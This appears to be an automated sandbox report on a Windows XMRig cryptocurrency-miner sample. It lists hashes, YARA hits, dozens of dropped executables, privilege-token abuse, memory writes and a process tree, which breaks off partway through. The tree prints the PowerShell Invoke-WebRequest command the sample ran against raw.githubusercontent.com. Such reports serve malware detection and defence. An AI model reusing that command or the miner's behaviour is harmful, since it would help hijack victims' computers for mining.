xmrig | 5e2907b4098b1bc509f67991bb3a4812f5cd668851a94bfbb20750675a599643

Analysis

max time kernel
75s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
27-04-2024 09:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
Size

2.1MB
MD5

02ea39e6fa38e0d55cf84a8355e9bb12
SHA1

15cd9b277927bbee9a2a2d10c3fad17912fa67bb
SHA256

5e2907b4098b1bc509f67991bb3a4812f5cd668851a94bfbb20750675a599643
SHA512

fcd9dd84290146cc9bb57d81cd2966576f2f2e6718894b1536f298ae10e6ca27bf8f74ff3d54325d33bae3cde8fed8439c3e4d384f3b7ab3678a163009389005
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1VQx7Va4qr6:NABh

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 41 IoCs

miner

resource	yara_rule
behavioral2/memory/2764-74-0x00007FF74AA90000-0x00007FF74AE82000-memory.dmp	xmrig
behavioral2/memory/4860-77-0x00007FF7AB300000-0x00007FF7AB6F2000-memory.dmp	xmrig
behavioral2/memory/2056-79-0x00007FF6654C0000-0x00007FF6658B2000-memory.dmp	xmrig
behavioral2/memory/4148-80-0x00007FF6DF380000-0x00007FF6DF772000-memory.dmp	xmrig
behavioral2/memory/2808-78-0x00007FF6086F0000-0x00007FF608AE2000-memory.dmp	xmrig
behavioral2/memory/3256-76-0x00007FF604F40000-0x00007FF605332000-memory.dmp	xmrig
behavioral2/memory/1600-75-0x00007FF778830000-0x00007FF778C22000-memory.dmp	xmrig
behavioral2/memory/4080-73-0x00007FF6B0300000-0x00007FF6B06F2000-memory.dmp	xmrig
behavioral2/memory/3472-96-0x00007FF615180000-0x00007FF615572000-memory.dmp	xmrig
behavioral2/memory/1184-103-0x00007FF7A7000000-0x00007FF7A73F2000-memory.dmp	xmrig
behavioral2/memory/4476-105-0x00007FF781700000-0x00007FF781AF2000-memory.dmp	xmrig
behavioral2/memory/2004-107-0x00007FF6C17C0000-0x00007FF6C1BB2000-memory.dmp	xmrig
behavioral2/memory/2568-147-0x00007FF7AB250000-0x00007FF7AB642000-memory.dmp	xmrig
behavioral2/memory/748-166-0x00007FF7A52C0000-0x00007FF7A56B2000-memory.dmp	xmrig
behavioral2/memory/1716-171-0x00007FF79E6E0000-0x00007FF79EAD2000-memory.dmp	xmrig
behavioral2/memory/1088-164-0x00007FF610090000-0x00007FF610482000-memory.dmp	xmrig
behavioral2/memory/1520-162-0x00007FF72BA80000-0x00007FF72BE72000-memory.dmp	xmrig
behavioral2/memory/1976-161-0x00007FF7FA800000-0x00007FF7FABF2000-memory.dmp	xmrig
behavioral2/memory/1084-135-0x00007FF7A55D0000-0x00007FF7A59C2000-memory.dmp	xmrig
behavioral2/memory/4244-106-0x00007FF78BAB0000-0x00007FF78BEA2000-memory.dmp	xmrig
behavioral2/memory/4476-1581-0x00007FF781700000-0x00007FF781AF2000-memory.dmp	xmrig
behavioral2/memory/4148-1598-0x00007FF6DF380000-0x00007FF6DF772000-memory.dmp	xmrig
behavioral2/memory/4244-1594-0x00007FF78BAB0000-0x00007FF78BEA2000-memory.dmp	xmrig
behavioral2/memory/2056-1672-0x00007FF6654C0000-0x00007FF6658B2000-memory.dmp	xmrig
behavioral2/memory/4860-1662-0x00007FF7AB300000-0x00007FF7AB6F2000-memory.dmp	xmrig
behavioral2/memory/1600-1635-0x00007FF778830000-0x00007FF778C22000-memory.dmp	xmrig
behavioral2/memory/3256-1626-0x00007FF604F40000-0x00007FF605332000-memory.dmp	xmrig
behavioral2/memory/2808-1668-0x00007FF6086F0000-0x00007FF608AE2000-memory.dmp	xmrig
behavioral2/memory/2764-1622-0x00007FF74AA90000-0x00007FF74AE82000-memory.dmp	xmrig
behavioral2/memory/4080-1607-0x00007FF6B0300000-0x00007FF6B06F2000-memory.dmp	xmrig
behavioral2/memory/2004-1595-0x00007FF6C17C0000-0x00007FF6C1BB2000-memory.dmp	xmrig
behavioral2/memory/3472-1940-0x00007FF615180000-0x00007FF615572000-memory.dmp	xmrig
behavioral2/memory/3976-1956-0x00007FF7DF200000-0x00007FF7DF5F2000-memory.dmp	xmrig
behavioral2/memory/1172-2081-0x00007FF7D5EC0000-0x00007FF7D62B2000-memory.dmp	xmrig
behavioral2/memory/1976-2073-0x00007FF7FA800000-0x00007FF7FABF2000-memory.dmp	xmrig
behavioral2/memory/1088-2088-0x00007FF610090000-0x00007FF610482000-memory.dmp	xmrig
behavioral2/memory/1084-2090-0x00007FF7A55D0000-0x00007FF7A59C2000-memory.dmp	xmrig
behavioral2/memory/748-2077-0x00007FF7A52C0000-0x00007FF7A56B2000-memory.dmp	xmrig
behavioral2/memory/1716-2105-0x00007FF79E6E0000-0x00007FF79EAD2000-memory.dmp	xmrig
behavioral2/memory/2568-2115-0x00007FF7AB250000-0x00007FF7AB642000-memory.dmp	xmrig
behavioral2/memory/1184-2269-0x00007FF7A7000000-0x00007FF7A73F2000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	4316	powershell.exe
5	4316	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4476	vuBxMOe.exe
4244	axZCIeV.exe
2004	laGalbW.exe
4148	HbwXVoZ.exe
4080	wlmoHLB.exe
2764	FrrPUjG.exe
1600	BFPQMCv.exe
3256	MRfCYcZ.exe
4860	sebVXEZ.exe
2808	eXzNCRM.exe
2056	VGmHjXq.exe
1520	qhByTUb.exe
3472	HqOQjCb.exe
3976	gtIxvBF.exe
1084	FElLifI.exe
2568	tdNtQlh.exe
1976	sdmSvhR.exe
1172	zavJhOt.exe
1088	EOaLkYE.exe
748	DatsgEj.exe
1716	tVpcrgV.exe
3124	bSYBKbp.exe
1944	DnfFDcB.exe
5032	BIvIaov.exe
4312	BTvebGQ.exe
2708	bpQcTId.exe
4964	iALHdQK.exe
2916	SrPNVvq.exe
548	vnKooOh.exe
2032	TsQYNhc.exe
2768	snMaeqI.exe
2128	lguvlpm.exe
1400	PWFjEcQ.exe
784	shKcRlm.exe
2464	utIdqgO.exe
2284	xMXQabL.exe
2680	VduPwpf.exe
2304	AwgvrVO.exe
4500	KIWqNDi.exe
4884	jYveYYc.exe
3812	LDnkXyM.exe
1408	IneUtMO.exe
3468	BZpFqfU.exe
4332	mgmUNlT.exe
976	HAhXibZ.exe
4548	rKwXPka.exe
4364	YiZABaG.exe
4820	XgwNqpu.exe
3696	rXfJTIy.exe
5128	wWWYLph.exe
5152	JCcPKyT.exe
5176	uVOCTKg.exe
5196	ttuaFzV.exe
5216	IMEORSs.exe
5236	ENylOAO.exe
5260	BGZajte.exe
5288	jJxoIAs.exe
5308	hWHPFbI.exe
5404	fXUmhVE.exe
5448	GvGKMAn.exe
5472	tJfujvJ.exe
5488	fIMnbjI.exe
5508	YZvQApF.exe
5528	plsFnEg.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1184-0-0x00007FF7A7000000-0x00007FF7A73F2000-memory.dmp	upx
behavioral2/files/0x000800000002325a-5.dat	upx
behavioral2/files/0x000800000002325d-10.dat	upx
behavioral2/memory/4476-11-0x00007FF781700000-0x00007FF781AF2000-memory.dmp	upx
behavioral2/files/0x0008000000023261-22.dat	upx
behavioral2/files/0x0008000000023262-27.dat	upx
behavioral2/files/0x0007000000023263-28.dat	upx
behavioral2/memory/2004-21-0x00007FF6C17C0000-0x00007FF6C1BB2000-memory.dmp	upx
behavioral2/memory/4244-15-0x00007FF78BAB0000-0x00007FF78BEA2000-memory.dmp	upx
behavioral2/files/0x0007000000023264-45.dat	upx
behavioral2/files/0x000900000002325f-49.dat	upx
behavioral2/files/0x0008000000023265-54.dat	upx
behavioral2/files/0x0007000000023266-63.dat	upx
behavioral2/files/0x0007000000023268-67.dat	upx
behavioral2/files/0x0007000000023267-68.dat	upx
behavioral2/memory/2764-74-0x00007FF74AA90000-0x00007FF74AE82000-memory.dmp	upx
behavioral2/memory/4860-77-0x00007FF7AB300000-0x00007FF7AB6F2000-memory.dmp	upx
behavioral2/memory/2056-79-0x00007FF6654C0000-0x00007FF6658B2000-memory.dmp	upx
behavioral2/memory/4148-80-0x00007FF6DF380000-0x00007FF6DF772000-memory.dmp	upx
behavioral2/memory/2808-78-0x00007FF6086F0000-0x00007FF608AE2000-memory.dmp	upx
behavioral2/memory/3256-76-0x00007FF604F40000-0x00007FF605332000-memory.dmp	upx
behavioral2/memory/1600-75-0x00007FF778830000-0x00007FF778C22000-memory.dmp	upx
behavioral2/memory/4080-73-0x00007FF6B0300000-0x00007FF6B06F2000-memory.dmp	upx
behavioral2/files/0x0007000000023269-84.dat	upx
behavioral2/memory/1520-85-0x00007FF72BA80000-0x00007FF72BE72000-memory.dmp	upx
behavioral2/files/0x000700000002326a-90.dat	upx
behavioral2/files/0x000700000002326b-95.dat	upx
behavioral2/memory/3472-96-0x00007FF615180000-0x00007FF615572000-memory.dmp	upx
behavioral2/memory/3976-98-0x00007FF7DF200000-0x00007FF7DF5F2000-memory.dmp	upx
behavioral2/files/0x000700000002326c-102.dat	upx
behavioral2/memory/1184-103-0x00007FF7A7000000-0x00007FF7A73F2000-memory.dmp	upx
behavioral2/memory/4476-105-0x00007FF781700000-0x00007FF781AF2000-memory.dmp	upx
behavioral2/memory/2004-107-0x00007FF6C17C0000-0x00007FF6C1BB2000-memory.dmp	upx
behavioral2/files/0x000700000002326d-117.dat	upx
behavioral2/files/0x000700000002326e-119.dat	upx
behavioral2/files/0x000700000002326f-120.dat	upx
behavioral2/files/0x0007000000023270-125.dat	upx
behavioral2/files/0x0007000000023271-130.dat	upx
behavioral2/memory/1172-141-0x00007FF7D5EC0000-0x00007FF7D62B2000-memory.dmp	upx
behavioral2/memory/2568-147-0x00007FF7AB250000-0x00007FF7AB642000-memory.dmp	upx
behavioral2/files/0x0007000000023272-154.dat	upx
behavioral2/memory/748-166-0x00007FF7A52C0000-0x00007FF7A56B2000-memory.dmp	upx
behavioral2/files/0x0007000000023276-170.dat	upx
behavioral2/memory/1716-171-0x00007FF79E6E0000-0x00007FF79EAD2000-memory.dmp	upx
behavioral2/files/0x0007000000023277-175.dat	upx
behavioral2/files/0x0007000000023278-178.dat	upx
behavioral2/files/0x0007000000023279-184.dat	upx
behavioral2/files/0x0007000000023275-169.dat	upx
behavioral2/files/0x0007000000023274-165.dat	upx
behavioral2/memory/1088-164-0x00007FF610090000-0x00007FF610482000-memory.dmp	upx
behavioral2/memory/1520-162-0x00007FF72BA80000-0x00007FF72BE72000-memory.dmp	upx
behavioral2/memory/1976-161-0x00007FF7FA800000-0x00007FF7FABF2000-memory.dmp	upx
behavioral2/files/0x000700000002327a-196.dat	upx
behavioral2/files/0x000700000002327d-207.dat	upx
behavioral2/files/0x000700000002327c-203.dat	upx
behavioral2/files/0x000700000002327b-198.dat	upx
behavioral2/files/0x0007000000023273-145.dat	upx
behavioral2/memory/1084-135-0x00007FF7A55D0000-0x00007FF7A59C2000-memory.dmp	upx
behavioral2/memory/4244-106-0x00007FF78BAB0000-0x00007FF78BEA2000-memory.dmp	upx
behavioral2/memory/4476-1581-0x00007FF781700000-0x00007FF781AF2000-memory.dmp	upx
behavioral2/memory/4148-1598-0x00007FF6DF380000-0x00007FF6DF772000-memory.dmp	upx
behavioral2/memory/4244-1594-0x00007FF78BAB0000-0x00007FF78BEA2000-memory.dmp	upx
behavioral2/memory/2056-1672-0x00007FF6654C0000-0x00007FF6658B2000-memory.dmp	upx
behavioral2/memory/4860-1662-0x00007FF7AB300000-0x00007FF7AB6F2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\itLLfIP.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\mPubdde.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\LOpDFlE.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\LIrjeZL.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\xtavWUV.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\ICLzbOn.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\CprDgCG.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\LTArYUN.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\ixiDtNB.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\qJExgHc.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\FrrPUjG.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\dsNsqoy.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\XjUgxgu.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\PyzmHuv.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\BBUFhaJ.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\dAGCivg.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\aJAnmAT.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\jMXNCyd.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\fZijIxh.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\dZGxYtz.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\dhfYytC.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\iyHXXmx.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\lAIwjRR.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\gklHCzY.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\RTKFAXw.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\AebXMDp.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\HbwXVoZ.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\gftJiOu.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\bdOoDhm.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\zJfBylz.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\UJOHLqC.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\ADQdyHE.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\SzsxhFA.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\vhSEvEp.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\nvFCyCv.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\iAszzxL.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\QKYWFJf.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\utIdqgO.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\hiRcyDZ.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\CiAnhdZ.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\bcWcOzi.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\XXxlKms.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\gJNyhaP.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\OhGrDRk.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\QPhrDFI.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\WWfCJFl.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\AmMEfgD.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\UWzGeiI.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\JdjqBqE.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\qDuQYhI.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\ODPEJUs.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\wRvGgqp.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\piWQpix.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\ngPgCmL.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\AgUqRYE.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\WeYOXSc.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\liHDNsO.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\rBNUSEs.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\tZrNkkM.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\hEYghbt.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\JHqiCnB.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\YZvQApF.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\ualhGNB.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
File created	C:\Windows\System\SgiYPtA.exe	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
13600	msedge.exe
13600	msedge.exe
13600	msedge.exe
13600	msedge.exe
13600	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeLockMemoryPrivilege	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1184 wrote to memory of 4316	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	91
PID 1184 wrote to memory of 4316	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	91
PID 1184 wrote to memory of 4476	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	92
PID 1184 wrote to memory of 4476	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	92
PID 1184 wrote to memory of 4244	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	93
PID 1184 wrote to memory of 4244	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	93
PID 1184 wrote to memory of 2004	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	94
PID 1184 wrote to memory of 2004	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	94
PID 1184 wrote to memory of 4080	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	95
PID 1184 wrote to memory of 4080	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	95
PID 1184 wrote to memory of 4148	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	96
PID 1184 wrote to memory of 4148	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	96
PID 1184 wrote to memory of 2764	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	97
PID 1184 wrote to memory of 2764	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	97
PID 1184 wrote to memory of 1600	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	98
PID 1184 wrote to memory of 1600	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	98
PID 1184 wrote to memory of 3256	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	99
PID 1184 wrote to memory of 3256	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	99
PID 1184 wrote to memory of 4860	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	100
PID 1184 wrote to memory of 4860	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	100
PID 1184 wrote to memory of 2808	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	101
PID 1184 wrote to memory of 2808	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	101
PID 1184 wrote to memory of 2056	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	102
PID 1184 wrote to memory of 2056	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	102
PID 1184 wrote to memory of 1520	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	103
PID 1184 wrote to memory of 1520	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	103
PID 1184 wrote to memory of 3472	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	104
PID 1184 wrote to memory of 3472	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	104
PID 1184 wrote to memory of 3976	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	105
PID 1184 wrote to memory of 3976	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	105
PID 1184 wrote to memory of 1084	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	106
PID 1184 wrote to memory of 1084	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	106
PID 1184 wrote to memory of 2568	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	107
PID 1184 wrote to memory of 2568	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	107
PID 1184 wrote to memory of 1172	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	108
PID 1184 wrote to memory of 1172	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	108
PID 1184 wrote to memory of 1976	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	109
PID 1184 wrote to memory of 1976	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	109
PID 1184 wrote to memory of 1088	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	110
PID 1184 wrote to memory of 1088	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	110
PID 1184 wrote to memory of 748	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	111
PID 1184 wrote to memory of 748	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	111
PID 1184 wrote to memory of 1716	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	112
PID 1184 wrote to memory of 1716	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	112
PID 1184 wrote to memory of 3124	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	113
PID 1184 wrote to memory of 3124	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	113
PID 1184 wrote to memory of 5032	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	114
PID 1184 wrote to memory of 5032	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	114
PID 1184 wrote to memory of 1944	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	115
PID 1184 wrote to memory of 1944	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	115
PID 1184 wrote to memory of 4312	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	116
PID 1184 wrote to memory of 4312	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	116
PID 1184 wrote to memory of 2708	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	117
PID 1184 wrote to memory of 2708	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	117
PID 1184 wrote to memory of 4964	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	118
PID 1184 wrote to memory of 4964	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	118
PID 1184 wrote to memory of 2916	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	119
PID 1184 wrote to memory of 2916	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	119
PID 1184 wrote to memory of 548	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	120
PID 1184 wrote to memory of 548	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	120
PID 1184 wrote to memory of 2032	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	121
PID 1184 wrote to memory of 2032	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	121
PID 1184 wrote to memory of 2768	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	122
PID 1184 wrote to memory of 2768	1184	02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe	122

C:\Users\Admin\AppData\Local\Temp\02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\02ea39e6fa38e0d55cf84a8355e9bb12_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4316
- C:\Windows\System\vuBxMOe.exe
  C:\Windows\System\vuBxMOe.exe
  2⤵
  - Executes dropped EXE
  PID:4476
- C:\Windows\System\axZCIeV.exe
  C:\Windows\System\axZCIeV.exe
  2⤵
  - Executes dropped EXE
  PID:4244
- C:\Windows\System\laGalbW.exe
  C:\Windows\System\laGalbW.exe
  2⤵
  - Executes dropped EXE
  PID:2004
- C:\Windows\System\wlmoHLB.exe
  C:\Windows\System\wlmoHLB.exe
  2⤵
  - Executes dropped EXE
  PID:4080
- C:\Windows\System\HbwXVoZ.exe
  C:\Windows\System\HbwXVoZ.exe
  2⤵
  - Executes dropped EXE
  PID:4148
- C:\Windows\System\FrrPUjG.exe
  C:\Windows\System\FrrPUjG.exe
  2⤵
  - Executes dropped EXE
  PID:2764
- C:\Windows\System\BFPQMCv.exe
  C:\Windows\System\BFPQMCv.exe
  2⤵
  - Executes dropped EXE
  PID:1600
- C:\Windows\System\MRfCYcZ.exe
  C:\Windows\System\MRfCYcZ.exe
  2⤵
  - Executes dropped EXE
  PID:3256
- C:\Windows\System\sebVXEZ.exe
  C:\Windows\System\sebVXEZ.exe
  2⤵
  - Executes dropped EXE
  PID:4860
- C:\Windows\System\eXzNCRM.exe
  C:\Windows\System\eXzNCRM.exe
  2⤵
